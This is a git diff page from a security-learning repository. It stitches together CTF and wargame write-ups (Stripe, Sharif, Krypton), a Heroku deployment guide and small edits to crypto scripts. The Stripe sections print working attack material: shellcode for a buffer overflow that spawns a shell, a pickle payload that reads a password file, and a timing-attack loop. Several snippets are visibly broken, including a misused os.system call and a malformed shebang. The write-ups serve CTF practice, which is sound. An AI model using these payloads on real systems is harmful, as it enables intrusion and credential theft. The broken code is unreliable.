array = "%s%s" % (EXPLOIT, stack_ptr)
while 1:
subprocess.call(["/levels/level04", array])
```
This solution is possible due to the [struct](https://docs.python.org/2/library/struct.html) module, which performs a conversion between Python and C values, and the [subprocess](https://docs.python.org/2/library/subprocess.html) module, which allows us to spawn new processes. The **struct.pack** method returns a string containing the values packet in the specified format (where **<** means little-endian and **I** is unsigned int).
A [one-line solution in Ruby](https://github.com/stripe-ctf), was given by Stripe and it's worth to mention:
```
$ ruby -e 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" + "\x90"*987 + "\x7b\x85\x04\x08"'
```
---
## Level 5: Unpickle exploit
The fifth level is a uppercasing **web service** written in Python, which is split into an HTTP part, and a worker queue part.
In this service, a request can be sent with:
```
$ curl localhost:9020 -d 'banana'
{
"processing_time": 5.0037501611238511e-06,
"queue_time": 0.4377421910476061,
"result": "BANANA"
}
```
After inspecting the code, we concentrate in the suspicious **deserialize** function that contains the unsafe module [pickle](https://docs.python.org/2/library/pickle.html):
```py
def deserialize(serialized):
logger.debug('Deserializing: %r' % serialized)
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
match = parser.match(serialized)
direction = match.group(1)
data = match.group(2)
job = pickle.loads(match.group(3))
return direction, data, job
```
This is used later in the **serialize** function:
```py
@staticmethod
def serialize(direction, data, job):
serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
logger.debug('Serialized to: %r' % serialized)
return serialized
```
So, the program serializes jobs with pickle and sends them to a series of workers to deserialize and process the job. Once again, the attack surface is in the user input, which is not properly sanitized: this function allows arbitrary data to be sent to **; job**.
We can exploit it by making the serialization code execute arbitrary commands by supplying a string such as **; job: <pickled>**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell.
An example of exploit in Python is the following:
```py
import pickle, os
HOST = 'localhost:9020'
os.system("/usr/bin/curl", ['', HOST, '-d', \
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
> /tmp/pass'\ntR."], {})
```
---
## Level 6: Timing Attack
And we have reached the sixth level!
The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password:
```
$ ./level06 /home/the-flag/.password banana
Welcome to the password checker!
$ Ha ha, your password is incorrect!
```
This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters).
But there is a twist!
The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**).
There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown:
```
#!\bin\bash
for c in {A..Z} {a..z} {0..9}; do
echo $c
head -c35 file & sleep 0.1
/levels/level06 /home/the-flag/.password "$c"A 2> file
done
```
**And we get our flag! Fun! :) **
---
## References
* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up)
* [Stripe CTF Repository](https://github.com/stripe-ctf)
* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/).
* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/).
--------------

View File

@ -0,0 +1,159 @@
# The Sharif University CTF 2014
## Avatar: Steganography
The challenge starts with:
> A terrorist has changed his picture in a social network. What is the hidden message?
And the following image:
![cyber](http://i.imgur.com/6NIu64us.jpg)
For this problem, I use [OutGuess], which can be installed as:
```sh
$ tar -zxvf outguess-0.2.tar.gz
$ cd outguess
$ ./configure && make
```
Running it will give us the flag:
```sh
$ ./outguess -r lamb.jpg pass.txt
Reading ../lamb.jpg....
Extracting usable bits: 28734 bits
Steg retrieve: seed: 94, len: 41
$ cat pass.txt
We should blow up the bridge at midnight
```
__________________________
## What is this: Steganography
This challenge has a very short text:
> Find the flag.
Together with two pictures:
![cyber](http://i.imgur.com/sbSwBju.jpg)
![cyber](http://i.imgur.com/mpcIKWt.jpg)
After the usual inspection (tail, file, diff, compare), I applied my knowledge of a former astrophysicist to inspect what would happen if I added or subtracted the picture. I wrote the following script:
```py
import sys
from scipy.misc import imread, imsave
def compare_images(img1, img2):
diff = img1 + img2
imsave('sum.png', diff)
diff = img1 - img2
imsave('diff.png', diff)
def main():
file1, file2 = sys.argv[1:1+2]
img1 = imread(file1).astype(float)
img2 = imread(file2).astype(float)
compare_images(img1, img2)
```
Running it, give us the flag!
![cyber](http://i.imgur.com/mvj8OJl.png)
--------------------
## Guess the number: Reverse Engineering
This problem starts with another not very informative text:
> Guess the number and find the flag.
Then it gives us a *java class* file. It was clear that we needed to decompile it. I'm using
[jad]for this task:
```sh
$ jad guess.class
```
Now, opening this file in a text editor, we can see how to generate the flag:
```java
```java
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: guess.java
(...)
String str_one = "4b64ca12ace755516c178f72d05d7061";
String str_two = "ecd44646cfe5994ebeb35bf922e25dba";
String answer = XOR(str_one, str_two);
System.out.println((new StringBuilder("your flag is: ")).append(answer).toString());
```
Running the modified version gives us:
```java
$ javac -g guess.java
$ java guess
your flag is: a7b08c546302cc1fd2a4d48bf2bf2ddb
```
_________________
## Sudoku image encryption - cryptography
This challenge starts with the following text:
> Row Major Order
And it gives us two pictures: a map and a sudoku.
![cyber](http://i.imgur.com/U9Zq4wp.png)
We solve the sudoku and write the solution in a script to reorder the blocks:
```python
from PIL import Image
# solved sudoku
sudoku = '''
964127538
712385694
385496712
491578263
238614975
576239841
627843159
153962487
849751326
'''
s = sudoku.replace('\n', '')
image = Image.open('image.png').convert('RGB')
out = Image.new('RGB', image.size)
for j in range(9):
for i in range(9):
img_cell = image.crop((i * 50, j * 50, i * 50 + 50, j * 50 + 50))
c = (int(s[j * 9 + i]) - 1) * 50
out.paste(img_cell, (c, j * 50))
out.save('out_image.png')
```
This gives us our flag:
![cyber](http://i.imgur.com/sA7JPrl.png)
** Hack all the things! **
[OutGuess]: http://www.outguess.org/download.php
[jad]: http://varaneckas.com/jad/

View File

@ -1,21 +0,0 @@
The MIT License (MIT)
Copyright (c) 2014 Mari Wahl
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -1,30 +1,19 @@
CTFs & Wargames Archives
========================
# CTFs & Wargames
# CTFs
## 2014
- ASIS Final
- CSAW Quals
- Hack.lu
- Stripe 1, 2, 3
- 9447
---
# Wargames
## 2014
- OverTheWire: Krypton, Narnia
- OverTheWire
----
# Trivia List (For Reference)
# Trivia List
## CSAW CTF 2014
## CSAW CTF
1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE**
@ -44,7 +33,7 @@ Answer: **RET**
# Recon
### Searching the Internets
### Searching the Interwebs
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
@ -107,4 +96,3 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin```
[namechk]: http://namechk.com
----

View File

@ -1,3 +1,9 @@
## Writeups:
# Wargames Writeups
[Narnia 1-5]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
### OverTheWire
[Wargames]: http://overthewire.org/wargames/
* krypton
* narnia
* natas

View File

@ -0,0 +1,317 @@
# Cryptography War: Beating Krypton
The problems are very straightforward and very similar to those from the last [CSAW CTF] ([see my post here]).
**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READ ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time.
[Cryptol]: http://www.cryptol.net/
[Wargames]: http://overthewire.org/wargames/
[Krypton]: http://overthewire.org/wargames/krypton/
[CSAW CTF]: https://ctf.isis.poly.edu/
## Level 0: Base64 Transformation
This level starts with:
> The following string encodes the password using Base64:
S1JZUFRPTklTR1JFQVQ=
> Use this password to log in to krypton.labs.overthewire.org with username krypton1 using SSH. You can the files for other levels in /krypton/.
[Base64] is just a way to represent binary data in ASCII, by translating it into a radix-64. Linux provides a built-in Base64 encoder/decoder tool, so all we need to do is:
```
$ base64 -d KRYPTON0.txt
```
[Base64]: http://en.wikipedia.org/wiki/Base64
----
## Level 1: Classic Caesar Cypher
The second level starts with:
> The password for level 2 is in the file krypton2. It is encrypted using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for ciphertext it is normal to group the letters into five letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the ciphertext. Enjoy!
This is the classic [Caesar Cypher] (they really love this thing :).
In Caesars cipher, the letters in the plaintext are shifted by a fixed number of elements down the alphabet. For example, if the shift is 3, A becomes D , B becomes E , and so on. Once we run out of letters, we circle back to A.
We can solve this challenge in a few lines using Linux's built-in [tr] (translate tool):
```
krypton1@melinda:/krypton/krypton1$ VAR=$(cat krypton2)
krypton1@melinda:/krypton/krypton1$ echo $VAR
YRIRY GJB CNFFJBEQ EBGGRA
krypton1@melinda:/krypton/krypton1$ alias rot13="tr A-Za-z N-ZA-Mn-za-m"
krypton1@melinda:/krypton/krypton1$ echo "$VAR" | rot13
```
[Caesar Cypher]: http://en.wikipedia.org/wiki/Caesar_cipher
[tr]: http://linux.die.net/man/1/tr
-----
## Level 2
The third level starts with:
> ROT13 is a simple substitution cipher.
> Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a 'monoalphabetic' cipher. Monoalphebetic means, literally, "one alphabet" and you will see why.
> This level contains an old form of cipher called a 'Caesar Cipher'.
> A Caesar cipher shifts the alphabet by a set number. For example:
> plain: a b c d e f g h i j k ...
> cipher: G H I J K L M N O P Q ...
> In this example, the letter 'a' in plaintext is replaced by a 'G' in the ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext.
> The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this ciphertext may be challenging to break. You do not have direct access to the key, however, you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy.
First, we make a file filled with the alphabet, so we can test the binary:
```sh
$ ln -s /krypton/krypton2/keyfile.dat keyfile.dat
$ echo {A..Z} {a..z} > file
$ cat file
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
```
Running the binary:
```
$ /krypton/krypton2/encrypt file
$ cat ciphertext
MNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKL
```
We see a ROT14 (since ROT13 starts in N).
As a second way to find the rotation, we could use [ltrace]:
```
$ ltrace /krypton/krypton2/encrypt file | less
```
Which shows things such as:
```
fgetc(0x602250) = 'A'
toupper('A') = 'A'
isalpha(65, 65, 0x7ffff7dd0d00, -1, 0xffffffff) = 1024
fputc('M', 0x602490) = 77
```
Now that we know the rotation number, we can decrypt the password in the same way as we did in the previous level:
```sh
krypton2@melinda:/tmp$ alias rot14="tr A-Z O-ZA-N"
krypton2@melinda:/tmp$ echo "$VAR" | rot14
```
[ltrace]: http://linux.die.net/man/1/ltrace
---
## Level 3: Frequency Analysis
This level starts with:
> Well done. You've moved past an easy substitution cipher.
> Hopefully you just encrypted the alphabet a plaintext to fully expose the key in one swoop.
> The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise, you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker.
> However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file 'krypton4'. You have also found three other files. (found1, found2, found3)
This time we have to use [frequency analysis] to count the number of times each letter appears in our message. The results are compared to the frequency in each we see letters in English. This is enough to break this type of cipher.
For this purpose, I wrote the following script:
```python
import string
import sys
import operator
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004]
def find_frequency(msg):
dict_freq = dict([(c, 0) for c in string.lowercase])
total_letters = 0.0
for c in msg.lower():
if 'a'<= c <= 'z':
dict_freq[c] += 1
total_letters += 1
list_freq = sorted(dict_freq.items(), key=operator.itemgetter(1))
return [(c, freq/total_letters) for (c, freq) in list_freq]
def main(filename):
with open(filename, 'r') as f:
cipher = f.readlines()
cipher = cipher[0].strip()
flist = find_frequency(cipher)
elist = dict((k, value) for (k, value) in zip(string.lowercase, FREQ_ENGLISH))
elist = sorted(elist.items(), key=operator.itemgetter(1))
trans, key = '', ''
for i, f in enumerate(flist):ls
trans += f[0]
key += elist[i][0]
print "CIPHER: %s -> %.5f, ENGLISH: %s -> %.5f" %(f[0], f[1], elist[i][0], elist[i][1])
print "Key is " + key + " for " + trans
# print key sorted to translate to a-z
res = zip(trans, key)
res.sort()
trans, key = '', ''
for letter in res:
trans += letter[1].upper()
key += letter[0].upper()
print "tr [" + key + "] [" + trans + "]"
if __name__ == "__main__":
main(str(sys.argv[1]))
```
Running it gives us the key:
```
$ cat /krypton/krypton3/found1 > cipher
$ cat /krypton/krypton3/found2 >> cipher
$ cat /krypton/krypton3/found3 >> cipher
$ /krypton/krypton3$ python freq.py cipher
$ alias rotvi='tr ABCDEFGHIJKLMNOPQRSTUVWXYZ BOIHPKNQVTWGURXZAJEYSLDFPU'
$ cat /krypton/krypton3/krypton4 | rotvi
```
We could also use [this online tool] to find the frequencies.
[this online tool]: http://www.richkni.co.uk/php/crypta/freq.php
[frequency analysis]: http://en.wikipedia.org/wiki/Frequency_analysis
----
## Level 4: Vigenere Cipher I
The fifth level starts with:
> So far we have worked with simple substitution ciphers. They have also been monoalphabetic, meaning using a fixed key, and giving a one to one mapping of plaintext (P) to ciphertext (C). Another type of substitution cipher is referred to as polyalphabetic, where one character of P may map to many, or all, possible ciphertext characters.
> An example of a polyalphabetic cipher is called a Vigenère Cipher. It works like this:
> If we use the key(K) GOLD, and P = PROCEED MEETING AS AGREED, then “add” P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26).
> P P R O C E E D M E E T I N G A S A G R E E D\
> K G O L D G O L D G O L D G O L D G O L D G O\
> becomes:
> P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3\
> K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14\
> C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17\
> So, we get a ciphertext of:
> VFZFK SOPKS ELTUL VGUCH KR
> This level is a Vigenère Cipher. You have intercepted two longer, english language messages. You also have a key piece of information. You know the key length!
This is a classic case of [Vigenere cipher], which is a variation on Caesars cipher. In this case, one uses multiple shift amounts according to a keyword.
To solve this, we use the [pygenere] library in Python. First, we need to find the key:
```pyhton
import sys
from pygenere import Vigenere, VigCrack
def get_key(msg):
# Vigenere Cypher
key = VigCrack(msg).crack_codeword()
dec_msg = VigCrack(msg).crack_message()
dec_msg = dec_msg.replace(" ", "")
return key, dec_msg
if __name__ == '__main__':
# getting the key
with open('cipher', 'r') as f:
msg = f.readlines()
msg_in = msg[0].strip()
key, answer = get_key(msg_in)
print 'Message: ' + msg_in
print
print 'Answer: ' + answer
print '(key: ' + key + ')'
```
The deciphered text is:
> THESOLDIERWITHTHEGREENWHISKERSLEDTHEMTHROUGHTHESTREETSOFTHEEMERALDCITYUNTILTHEYREACHED
THEROOMWHERETHEGUARDIANOFTHEGATESLIVEDTHISOFFICERUNLOCKEDTHEIRSPECTACLESTOPUTTHEMBACK
INHISGREATBOXANDTHENHEPOLITELYOPENEDTHEGATEFOROURFRIENDSWHICHROADLEADSTOTHEWICKEDWITCHOF
THEWESTASKEDDOROTHYTHEREISNOROADANSWEREDTHEGUARDIANOFTHEGATESNOONEEVERWISHESTOGOTHATWAY
HOWTHENAREWETOFINDHERINQUIREDTHEGIRLTHATWILLBEEASYREPLIEDTHEMANFORWHENSHEKNOWSYOUAREIN
THECOUNTRYOFTHEWINKIESSHEWILLFINDYOUANDMAKEYOUALLHERSLAVESPERHAPSNOTSAIDTHESCARECROWFOR
WEMEANTODESTROYHEROHTHATISDIFFERENTSAIDTHEGUARDIANOFTHEGATESNOONEHASEVERDESTROYEDHER
BEFORESOINATURALLYTHOUGHTSHEWOULDMAKESLAVESOFYOUASSHEHASOFTHERESTBUTTAKECAREFORSHEIS
WICKEDANDFIERCEANDMAYNOTALLOWYOUTODESTROYHERKEEPTOTHEWESTWHERETHESUNSETSANDYOUCANNOT
FAILTOFINDHERTHEYTHANKEDHIMANDBADEHIMGOODBYEANDTURNEDTOWARDTHEWESTWALKINGOVERFIELDS
OFSOFTGRASSDOTTEDHEREANDTHEREWITHDAISIESANDBUTTERCUPSDOROTHYSTILLWORETHEPRETTYSILKDRESS
SHEHADPUTONINTHEPALACEBUTNOWTOHERSURPRISESHEFOUNDITWASNOLONGERGREENBUTPUREWHITETHERIB
BONAROUNDTOTOSNECKHADALSOLOSTITSGREENCOLORANDWASASWHITEASDOROTHYSDRESSTHEEMERALDCITYW
ASSOONLEFTFARBEHINDASTHEYADVANCEDTHEGROUNDBECAMEROUGHERANDHILLIERFORTHEREWERENOFARMSN
ORHOUSESINTHISCOUNTRYOFTHEWESTANDTHEGROUNDWASUNTILLEDINTHEAFTERNOONTHESUNSHONEHOTINTHEI
RFACESFORTHEREWERENOTREESTOOFFERTHEMSHADESOTHATBEFORENIGHTDOROTHYANDTOTOANDTHELIONWER
ETIREDANDLAYDOWNUPONTHEGRASSANDFELLASLEEPWITHTHEWOODMANANDTHESCARECROWKEEPINGWATCH
Finally, we use the key to decipher the password:
```python
def solve(msg, key):
dec_msg = Vigenere(msg).decipher(key)
dec_msg = dec_msg.replace(" ", "")
return dec_msg
if __name__ == '__main__':
# deciphering
key = 'FREKEY'
with open('pass', 'r') as f:
msg = f.readlines()
answer = solve(msg[0].strip(), key)
print "The answer is: " + answer
```
[Vigenere cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.py
----
## Level 5: Vigenere Cipher II
The sixth level starts with:
> Frequency analysis can break a known key length as well. Let's try one last polyalphabetic cipher, but this time the key length is unknown.
This is another example of Vigenere Cipher. Using the same method as before, we first get the key and then the password.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,13 @@
# Cloud and K8s Hacking
### CI/CD pipelines
* Static code security analyzers: [SonarQube](https://www.sonarqube.org/) (Javascript scanner), [NodeJsScan](https://github.com/ajinabraham/NodeJsScan).
* Package dependency security analyzers: [Snyk](https://snyk.io/).
* Docker image security analyzers: [Hadolint](https://github.com/hadolint/hadolint), [Clair](https://github.com/coreos/clair), [Anchore](https://anchore.com/).
* AWS IAM permission analyzers: [IAM access advisor APIs](https://aws.amazon.com/blogs/security/automate-analyzing-permissions-using-iam-access-advisor/).
* [PMapper](https://github.com/nccgroup/PMapper).
* AWS S3 permission analyzers: [s3audit](https://github.com/scalefactory/s3audit).
* Docker runtime anomaly detection: [Falco](https://hub.docker.com/r/sysdig/falco).
* Kubernetes policy security analyzers: [RBAC](https://searchsecurity.techtarget.com/definition/role-based-access-control-RBAC).
* Policy auditing tools: [Rakkess](https://github.com/corneliusweig/rakkess).

View File

@ -0,0 +1,199 @@
# Deploying a Flask App at Heroku
Heroku platform is very flexible, and it supports several programming languages. To
deploy an application to Heroku, use Git to push the application to Herokus server.
This document shows how to deploy [Anti-Social Network](https://anti-social.herokuapp.com/).
# Running in a Production Server
Heroku does not provide a web server, but it expects it to start their own servers and listen on the port number set in environment variable PORT. Flask will perform very poorly because it was not designed to run in a production environment. To improve this, you may use a production-ready web server such as Gunicorn.
```
$ pip install gunicorn
```
Now, run your app with:
```
$ gunicorn manage:app
```
Gunicorn uses port 8000 instead of 5000.
# Heroku Setting Up
### Create an account at Heroku.com
If you haven't done it yet, remember: you will be able to keep up to five applications running (you can always delete them if you need).
### Install Git and Heroku Toolbelt
You can find instructions at Heroku.com.
For example, if you are in an AWS EC2 Ubuntu instance, you can use:
```
$ sudo apt-get install -y git-core
$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh
```
You can check if it worked with:
```
$ which git
$ which heroku
```
Now, login at Heroku:
```
$ heroku login
```
## Authorize your Machine at Heroku
### Create and add an SSH Key at Heroku:
```
$ ssh-keygen -t rsa
$ heroku keys:add
```
The public and private keys will be at ```~/.ssh```. I always recommend backup your keys. Never share your private key.
### Creating a Git Repository
Heroku's push/commits work just like Git. But instead of using the "origin" you use "heroku" (you can verify this later at .git/refs/remotes/). In other words, your project's control version (development) is done by using:
```
$ git push origin master (or any branch you like)
```
and the deployment at Heroku (production) is done using:
```
$ git push heroku master (or any branch you like)
```
In the root of your project, go ahead, and create a Git repository, commit, add, push:
```
$ git init
$ git add -A
$ git commit -m "First commit"
$ git push origin master
```
### Creating an App
Now, let's create our app at Heroku:
```
$ heroku create <app-name>
```
You can check all your current applications with:
```
$ heroku apps
```
### Addons and Environment Variables
Now it's time to add the addons and the environment variables to your app at the Heroku server. For the app I mentioned in the beginning, I type:
```
$ heroku addons:add heroku-postgresql:dev
$ heroku pg:promote HEROKU_POSTGRESQL_ONYX_URL
$ heroku config:set MAIL_USERNAME="<login>"
$ heroku config:set MAIL_PASSWORD="<password>"
```
You can always check your configuration with:
```
$ heroku config
```
### Adding Requirements
Heroku needs to know what libraries and packages it needs to install to be able to run your application. For this, create a file requirements.txt in the root of your app, with all the libraries from your environment. One way of doing this is by:
```
$ cat pip freeze >> requirements.txt
```
#### Adding Procfile
Next, Heroku needs to know the command to use to start your app. This is given by a file called Procfile. The content should be:
```
web gunicorn manage:app
```
(if this is how you run your application).
In the Procfile, each line has a task name, a colon, and the command that runs the task. We use web here because Heroku recognizes it as the task that starts the webserver. Heroku gives this task a PORT environment variable, and set it to the port in which the application needs to listen for requests.
### Using Foreman to Emulate Heroku
The Heroku Toolbelt includes Foreman, used to run the app locally through the Procfile for testing purposes. The environment variables set at Heroku must be defined locally. Just create a file var.env with this information:
```
FLASK_CONFIG=heroku
MAIL_USERNAME=<your-username>
MAIL_PASSWORD=<your-password>
```
Foreman run is used to run commands under the environment of the application. Foreman start reads the Procfile and executes the tasks in it:
```
$ foreman run python manage.py deploy
$ foreman start
```
### Configuring Logging
In Heroku, logs are written to stdout or stderr. In my app, I added the logging configuration to a class in my app's ```config.py``` file:
```
class HerokuConfig(ProductionConfig):
@classmethod
def init_app(cls, app):
ProductionConfig.init_app(app)
import logging
from logging import StreamHandler
file_handler = StreamHandler()
file_handler.setLevel(logging.WARNING)
app.logger.addHandler(file_handler)
```
To let Heroku know what configuration it should use, I add this environment variable:
```
$ heroku config:set FLASK_CONFIG=heroku
```
Now if something goes wrong when you deploy, you can always check the log:
```
$ heroku logs
```
### Deploying!
If everything is well-done, it's time to deploy your application. Since you already committed your app before, you just need to push it to Heroku:
```
$ git push heroku master
```
In my app, I have a script for the deployment (such as taking care of database and other setups for production). So, additionally, I run:
```
$ heroku run python manage.py deploy
$ heroku restart
```
That's it! The app should be running at ```< app-name >.herokuapp.com```.

View File

@ -1,6 +1,6 @@
#!/usr/bin/env python
__author__ = "bt3"
__author__ = "bt3gl"
from Crypto.Cipher import DES

View File

@ -1,6 +1,6 @@
#!/usr/bin/env python
__author__ = "bt3"
__author__ = "bt3gl"
from Crypto.Cipher import DES

View File

@ -1,6 +1,6 @@
"""
Adapted from Filippo Valsorda's tutorial
Marina Wahl, august/2014
bt3gl, 2014
"""
from md5 import MD5

View File

@ -1,2 +1,3 @@
Flask==0.10.1
requests==2.3.0
Flask==2.2.5
requests==2.32.2

View File

@ -1,6 +1,6 @@
#!/usr/bin/env python
__author__ = "bt3"
__author__ = "bt3gl"
'''

View File

@ -1,6 +1,6 @@
#!/usr/bin/env python
__author__ = "bt3"
__author__ = "bt3gl"
'''
Calculate the MD5 checksum of a file.

View File

@ -1,17 +1,14 @@
# Cryptography
Often data is just encoded in base64 or hex. Other times it's just compressed (gzip):
### Some Tips:
- Often data is just encoded in base64 or hex. Other times it's just compressed (gzip):
- Text 32 characters long --> md5 hash.
- 40 characters long --> SHA1 hash.
- equal signs spread --> base64 encoded string.
- text only letters, without numbers or special characters --> Caesar, Vigenere, or other type of cipher.
- hints about keys and signing --> likely RSA.
* Text 32 characters long --> md5 hash.
* 40 characters long --> SHA1 hash.
* equal signs spread --> base64 encoded string.
* text only letters, without numbers or special characters --> Caesar, Vigenere, or other type of cipher.
* hints about keys and signing --> likely RSA.
---
## MD5

View File

@ -1,8 +1,7 @@
#!/usr/bin/env python
__author__ = "Mari Wahl"
__email__ = "marina.w4hl@gmail.com"
__author__ = "bt3gl"
'''
Cesar Ecrypt

Some files were not shown because too many files have changed in this diff Show More